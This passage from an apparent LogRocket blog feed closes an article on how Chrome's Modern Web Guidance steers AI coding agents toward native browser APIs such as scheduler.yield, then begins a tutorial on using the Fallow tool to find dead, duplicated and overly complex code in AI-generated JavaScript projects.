  return tasks.filter((task) =&amp;gt;
    task.title.toLowerCase().includes(searchTerm.toLowerCase()) ||
    task.description.toLowerCase().includes(searchTerm.toLowerCase())
  );
}, [tasks, searchTerm]);
&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;useMemo&lt;/code&gt; avoids unnecessary recalculation across renders, but it does not make the filtering work non-blocking. When &lt;code&gt;searchTerm&lt;/code&gt; changes, the full filter still runs synchronously on the main thread. This is one of the &lt;a href=&quot;https://blog.logrocket.com/react-pattern-everyone-uses-kills-performance/&quot;&gt;React patterns that quietly kills performance&lt;/a&gt; at scale.&lt;/p&gt;
&lt;h3 id=&quot;with-modern-web-guidance-2&quot;&gt;With Modern Web Guidance&lt;/h3&gt;
&lt;p&gt;The guided agent used &lt;code&gt;scheduler.yield()&lt;/code&gt; to break the loop into smaller chunks. That gives the browser a chance to handle user input and paint between batches:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;useEffect(() =&amp;gt; {
  let cancelled = false;

  const filterTasks = async () =&amp;gt; {
    setIsFiltering(true);

    const query = searchQuery.toLowerCase();
    const results: Task[] = [];

    for (let index = 0; index &amp;lt; tasks.length; index++) {
      if (index &amp;gt; 0 &amp;amp;&amp;amp; index % 50 === 0) {
        if (&#39;scheduler&#39; in window &amp;amp;&amp;amp; &#39;yield&#39; in window.scheduler) {
          await window.scheduler.yield();
        } else {
          await new Promise(requestAnimationFrame);
        }
      }

      const task = tasks[index];
      const title = task.title.toLowerCase();
      const description = task.description.toLowerCase();

      if (title.includes(query) || description.includes(query)) {
        results.push(task);
      }
    }

    if (!cancelled) {
      setFilteredTasks(results);
      setIsFiltering(false);
    }
  };

  filterTasks();

  return () =&amp;gt; {
    cancelled = true;
  };
}, [searchQuery, tasks]);
&lt;/pre&gt;
&lt;p&gt;The important change is not just the API choice. The agent reasoned about the interaction as a responsiveness problem rather than a React rendering problem. That led to a different implementation strategy: split long work so the browser can keep responding.&lt;/p&gt;
&lt;p&gt;For production, you would still test this with realistic data and devices. For very large datasets, server-side search, indexing, virtualization, or a Web Worker may be more appropriate. But for this demo, Modern Web Guidance moved the agent toward the right performance question.&lt;/p&gt;
&lt;h2 id=&quot;where-you-still-need-developer-judgment&quot;&gt;Where you still need developer judgment&lt;/h2&gt;
&lt;p&gt;Modern Web Guidance improves the agent’s starting point, but it does not remove the need for review. The guidance can help an agent discover modern browser features, but you still need to validate whether those choices fit your product.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;Before &lt;a href=&quot;https://blog.logrocket.com/generating-the-feature-with-an-ai-coding-assistant/&quot;&gt;shipping AI-generated frontend code&lt;/a&gt;, review the following:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;Why it matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Does this match our browser support target?&lt;/td&gt;
&lt;td&gt;A native API may be appropriate for an internal Chrome-only app but risky for a broad public audience.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Is the fallback strategy clear?&lt;/td&gt;
&lt;td&gt;Newer features often need progressive enhancement or conditional loading.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Is the accessibility behavior complete?&lt;/td&gt;
&lt;td&gt;Native elements help, but you still need to test keyboard behavior, focus order, labels, and announcements.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Did the agent reduce complexity or just move it?&lt;/td&gt;
&lt;td&gt;A smaller dependency list is only useful if the resulting code is easier to maintain.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Did we test the actual user path?&lt;/td&gt;
&lt;td&gt;Generated code can look modern while still failing in edge cases.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 15px;&quot;&gt;This is the right mental model: Modern Web Guidance helps the agent ask better questions. It does not replace code review, browser testing, or product-specific tradeoff decisions.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;AI coding agents are only as good as the context they use. Without current web platform guidance, they often reach for familiar solutions: extra dependencies, JavaScript-heavy UI code, or older patterns that made sense before newer browser APIs were available.&lt;/p&gt;
&lt;p&gt;Chrome’s Modern Web Guidance gives those agents a more current decision path. In the task manager demo, that changed the output in concrete ways: The agent used native &lt;code&gt;&amp;lt;dialog&amp;gt;&lt;/code&gt; patterns for modal behavior, CSS Container Queries for component-level responsiveness, CSS Anchor Positioning for the tooltip, and &lt;code&gt;scheduler.yield()&lt;/code&gt; to keep filtering responsive. The result was not just less code. It was a different default: check what the browser can do first, then add a dependency only when the project actually needs one.&lt;/p&gt;
&lt;p&gt;The main takeaway is not that native APIs should always replace libraries. The takeaway is that &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/&quot;&gt;AI-generated code needs modern constraints&lt;/a&gt;. Install the guidance, declare your Baseline target, and review the output against your real browser support, accessibility, and performance requirements.&lt;/p&gt;
&lt;p&gt;You can explore the source code for both demo applications below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/emmanuelhashy/taskmanager1&quot;&gt;taskmanager1&lt;/a&gt;: The implementation generated without Modern Web Guidance&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/emmanuelhashy/taskmanager2&quot;&gt;taskmanager2&lt;/a&gt;: The implementation generated with Modern Web Guidance enabled&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/ai/&quot;&gt;#ai&lt;/a&gt;
        &lt;/li&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/frontend/&quot;&gt;#frontend&lt;/a&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/</link><guid isPermaLink="false">https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/</guid><pubDate>Invalid Date</pubDate><author>Emmanuel John</author></item><item><title>How to clean up AI-generated code with Fallow</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#why-clean-code-matters&quot;&gt;Why does clean code still matter in the age of AI?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;why-clean-code-matters&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#introducing-fallow&quot;&gt;&lt;strong&gt;What is&lt;/strong&gt;&amp;nbsp;&lt;code&gt;Fallow&lt;/code&gt;?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;introducing-fallow&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#getting-started-with-fallow&quot;&gt;Getting started with &lt;code&gt;Fallow&lt;/code&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;getting-started-with-fallow&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#understanding-the-output&quot;&gt;How do you read Fallow&#39;s output?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;understanding-the-output&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#dead-code&quot;&gt;How does Fallow detect dead code?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;dead-code&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#duplicates&quot;&gt;How does Fallow detect duplicate code?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;duplicates&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#complexity-and-health-metrics&quot;&gt;What are Fallow&#39;s complexity and health metrics?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;complexity-and-health-metrics&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#large-functions&quot;&gt;&lt;strong&gt;How does Fallow identify large functions?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;large-functions&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#high-complexity&quot;&gt;How does Fallow measure code complexity?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;high-complexity&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#file-health-score&quot;&gt;How does the File Health Score work?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;file-health-score&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#hotspots&quot;&gt;What are Hotspots in Fallow?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;hotspots&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#refactoring-target&quot;&gt;How does Fallow identify refactoring targets?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;refactoring-target&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#fine-tuning-and-configuration&quot;&gt;&lt;strong&gt;How do you configure Fallow?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;fine-tuning-and-configuration&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#integrating-fallow-into-your-workflow&quot;&gt;Integrating &lt;code&gt;Fallow&lt;/code&gt; into your workflow&lt;/a&gt;
        &lt;ul data-toc-name=&quot;integrating-fallow-into-your-workflow&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#using-the-fallow-skill&quot;&gt;How do you use the &lt;code&gt;Fallow&lt;/code&gt; AI skill?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;using-the-fallow-skill&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#using-fallow-mcp&quot;&gt;How do you use the &lt;code&gt;fallow-mcp&lt;/code&gt;server?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;using-fallow-mcp&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#ci-cd-integration&quot;&gt;How do you integrate Fallow into a CI/CD pipeline?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;ci-cd-integration&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/clean-ai-code-fallow/#conclusion&quot;&gt;Conclusion&lt;/a&gt;
        &lt;ul data-toc-name=&quot;conclusion&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;AI coding agents have a tendency to generate code that isn’t particularly maintainable. They often duplicate logic, create massive files, and produce overly complex functions that are difficult for humans to understand. As these issues accumulate over time, they can turn a codebase into a significant maintenance burden.&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;895&quot; height=&quot;597&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-clean-up-AI-generated-code-with-Fallow.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-clean-up-AI-generated-code-with-Fallow.png 895w, https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-clean-up-AI-generated-code-with-Fallow-300x200.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-clean-up-AI-generated-code-with-Fallow-768x512.png 768w&quot; sizes=&quot;(max-width: 895px) 100vw, 895px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p&gt;In many cases, asking an agent to refactor simply results in even more code being added. Manually cleaning up the code isn’t always a practical alternative either, as reviewing and refactoring large AI-generated codebases can be extremely time-consuming.&lt;/p&gt;
&lt;p&gt;Enter &lt;code&gt;Fallow&lt;/code&gt;, a TypeScript and JavaScript code analysis tool designed to help you keep your codebase healthy. &lt;code&gt;Fallow&lt;/code&gt; identifies unused code, duplicate logic, and large, complex sections of code that are likely to become technical debt if left unchecked. It gives you a clear picture of where your codebase is becoming difficult to maintain before those problems grow into something much larger.&lt;/p&gt;
&lt;p&gt;In this article, you’ll learn how to set up &lt;code&gt;Fallow&lt;/code&gt; in your project, understand the reports it generates, and integrate it into your AI-assisted development workflow.&lt;/p&gt;
&lt;h2 id=&quot;why-clean-code-matters&quot;&gt;Why does clean code still matter in the age of AI?&lt;/h2&gt;
&lt;p&gt;One thing many developers believe AI will take away is the need to write clean code. The push for clean code has always been about preventing technical debt and spending less time untangling messy logic, making future changes easier and less expensive.&lt;/p&gt;
&lt;p&gt;But what if the average developer believes they no longer need to worry about what their code looks like in the future because they see it as AI’s responsibility? That’s one way AI is changing the software industry. And to be fair, it’s a reasonable perspective. AI is becoming increasingly capable of maintaining and modifying its own code. But AI is still AI, and the results can be unpredictable.&lt;/p&gt;
&lt;p&gt;That said, this isn’t always the reality. Most developers don’t write messy code because they lack the knowledge or don’t care about quality. More often, they’re working under tight deadlines, shifting priorities, and constant pressure to deliver. That’s understandable.&lt;/p&gt;
&lt;p&gt;The problem comes later. When a codebase has accumulated years of technical debt and become difficult to understand, relying entirely on AI may not be enough. If that tool fails, you could find yourself hiring a team of developers to rewrite large parts of the application. That’s an expensive outcome, especially since many developers are hesitant to work with codebases that are difficult to maintain.&lt;/p&gt;
&lt;p&gt;That’s why clean code still matters in the age of AI. Whether code is written by a human, an &lt;a href=&quot;https://blog.logrocket.com/ux-design/ai-driven-ux-design-patterns/&quot;&gt;AI agent&lt;/a&gt;, or a combination of both, maintainability should remain a priority throughout a project’s lifecycle. AI can speed up development, but it shouldn’t become an excuse to neglect the long-term health of your codebase.&lt;/p&gt;
&lt;h2 id=&quot;introducing-fallow&quot;&gt;&lt;strong data-start=&quot;571&quot; data-end=&quot;590&quot;&gt;What is&lt;/strong&gt;&amp;nbsp;&lt;code&gt;Fallow&lt;/code&gt;?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Fallow&lt;/code&gt; is a free, Rust-native codebase intelligence tool designed to analyze TypeScript and JavaScript projects. It acts as an automated code audit tool that provides factual analysis about a project’s overall code quality, structure, and execution pattern.&lt;/p&gt;
&lt;p&gt;Unlike formatters and linters, which treat a codebase as a collection of individual files, &lt;code&gt;Fallow&lt;/code&gt; treats it as an interconnected system. Because it is built on the Oxc parser ecosystem, it can sweep through codebases at sub-second speeds, making it significantly faster than older tools like &lt;a href=&quot;https://knip.dev/&quot;&gt;knip&lt;/a&gt; or &lt;a href=&quot;https://github.com/kucherenko/jscpd&quot;&gt;jscpd&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A major differentiator for &lt;code&gt;Fallow&lt;/code&gt; is its native compatibility with AI agents. Because LLMs have limited context windows and cannot easily map a massive repository’s dependency graph, &lt;code&gt;Fallow&lt;/code&gt; can serve as the source of truth for the AI.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Fallow&lt;/code&gt; combines several distinct auditing responsibilities into a single binary, which generates the following report in a single run:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.logrocket.com/how-detect-dead-code-frontend-project/&quot;&gt;Dead code analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Code duplication&lt;/li&gt;
&lt;li&gt;Health and complexity scoring&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To integrate seamlessly into modern developer workflows, it provides an MCP server and structured JSON output that contains machine-actionable action arrays, which enable AI agents to trigger automated tools, catch structural clutter, and self-correct code before it is ever committed.&lt;/p&gt;
&lt;h2 id=&quot;getting-started-with-fallow&quot;&gt;Getting started with &lt;code&gt;Fallow&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Fallow&lt;/code&gt; has two intelligence layers: Static Intelligence and Runtime Intelligence.&lt;/p&gt;
&lt;p&gt;The Static Intelligence layer is free and analyzes how your codebase is wired together. It helps you understand relationships between files, identify unused code, detect dead exports, and uncover other structural issues.&lt;/p&gt;
&lt;p&gt;The Runtime Intelligence layer is optional and paid. It provides insights into what gets executed in production,&lt;/p&gt;
&lt;p&gt;This article focuses only on the Static Intelligence layer because it’s free and provides everything you need to improve your codebase. Setting it up is straightforward too.&lt;/p&gt;
&lt;p&gt;Simply run the following command in your project’s root directory:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;npx fallow&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Fallow&lt;/code&gt; doesn’t require any configuration. After you run the command above, it automatically detects your project’s setup by inspecting your &lt;code&gt;package.json&lt;/code&gt; file and enables the appropriate plugins and presets. It supports frameworks such as Next.js, Vite, NestJS, SvelteKit, TanStack, and many others.&lt;/p&gt;
&lt;p&gt;By default, the command generates a comprehensive report that combines dead code detection, code duplication, and code health and complexity into a single, structured output.&lt;/p&gt;
&lt;p&gt;If you prefer, you can run each analysis separately using any of the following commands:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;npx fallow dead code
npx fallow dupes
npx fallow health&lt;/pre&gt;
&lt;p&gt;You can also install &lt;code&gt;Fallow&lt;/code&gt; as a development dependency if you want everyone who works on the repository to have access to it.&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;npm install --save-dev fallow&lt;/pre&gt;
&lt;h2 id=&quot;understanding-the-output&quot;&gt;How do you read Fallow’s output?&lt;/h2&gt;
&lt;p&gt;The first time you run &lt;code&gt;Fallow&lt;/code&gt;, the output can feel overwhelming because of the amount of information it provides. In this section, we’ll run &lt;code&gt;Fallow&lt;/code&gt; against a vibe-coded application and walk through each part of the report so you can understand what it means and how to act on it.&lt;/p&gt;
&lt;p&gt;As mentioned earlier, &lt;code&gt;Fallow&lt;/code&gt;‘s report is divided into three main sections: Dead Code, Duplication, and Health.&lt;/p&gt;
&lt;h3 id=&quot;dead-code&quot;&gt;How does Fallow detect dead code?&lt;/h3&gt;
&lt;p&gt;This section highlights code that isn’t structurally connected to anything else in the project, including unused files, exports, dependencies, types, and more.&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; class=&quot;alignnone size-full wp-image-214516&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown.png&quot; alt=&quot;&quot; width=&quot;1465&quot; height=&quot;670&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown.png 1465w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-300x137.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-1024x468.png 1024w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-768x351.png 768w&quot; sizes=&quot;(max-width: 1465px) 100vw, 1465px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;As shown in the image above, each category is grouped into its own subsection under the Dead Code report.&lt;/p&gt;
&lt;p&gt;Each subsection contains a list of file paths and the functions, exports, or declarations that &lt;code&gt;Fallow&lt;/code&gt; has identified as unused.&lt;/p&gt;
&lt;p&gt;To remove them, open the listed file and locate the corresponding code. Since dead code isn’t referenced anywhere else in the codebase, it’s generally safe to remove without breaking your application.&lt;/p&gt;
&lt;p&gt;That said, &lt;code&gt;Fallow&lt;/code&gt; can occasionally flag entry-point code as dead because it’s referenced from outside the file rather than through the project’s internal dependency graph. It’s worth reviewing these cases before deleting anything.&lt;/p&gt;
&lt;p&gt;If you’d rather let &lt;code&gt;Fallow&lt;/code&gt; handle the cleanup, you can run the following command to automatically remove dead code:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;fallow fix –dry-run&lt;/pre&gt;
&lt;p&gt;This command may not always produce the expected results, so it’s a good idea to review the changes before committing them.&lt;/p&gt;
&lt;h3 id=&quot;duplicates&quot;&gt;How does Fallow detect duplicate code?&lt;/h3&gt;
&lt;p&gt;The Duplication section is one of the most valuable parts of the report because it highlights code blocks that are repeated across your codebase. The output looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; class=&quot;alignnone size-full wp-image-214517&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-2.png&quot; alt=&quot;&quot; width=&quot;1416&quot; height=&quot;510&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-2.png 1416w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-2-300x108.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-2-1024x369.png 1024w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-2-768x277.png 768w&quot; sizes=&quot;auto, (max-width: 1416px) 100vw, 1416px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;Like the Dead Code section, the Duplication report is divided into individual entries. However, there are a few important differences. &lt;code&gt;Fallow&lt;/code&gt; uses AST-equivalent token matching to detect duplicate code, grouping each set of matches into what it calls a clone group.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The duplicated code block&lt;/li&gt;
&lt;li&gt;The line count: which shows how many lines the duplicated block contains&lt;/li&gt;
&lt;li&gt;The instances: which list the files and line ranges where the duplicated code appears&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s use the first clone group in the report shown above as an example.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; class=&quot;alignnone size-full wp-image-214518&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-3.png&quot; alt=&quot;&quot; width=&quot;418&quot; height=&quot;85&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-3.png 418w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-3-300x61.png 300w&quot; sizes=&quot;auto, (max-width: 418px) 100vw, 418px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this case, the clone group indicates that the code block within the 98 – 179 line range inside the login.tsx file has 82 lines of repeated code in the signUp.tsx file.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Fallow&lt;/code&gt;‘s duplication detection is also more nuanced than a simple text comparison. It supports multiple detection modes that can identify duplicated logic even when variable names, strings, or other identifiers have been renamed. You can learn more about these modes in the &lt;a href=&quot;https://docs.fallow.tools/analysis/duplication#detection-modes&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;complexity-and-health-metrics&quot;&gt;What are Fallow’s complexity and health metrics?&lt;/h3&gt;
&lt;p&gt;This section focuses on code complexity metrics for individual functions and files. It measures how difficult different parts of your codebase are to understand and maintain.&lt;/p&gt;
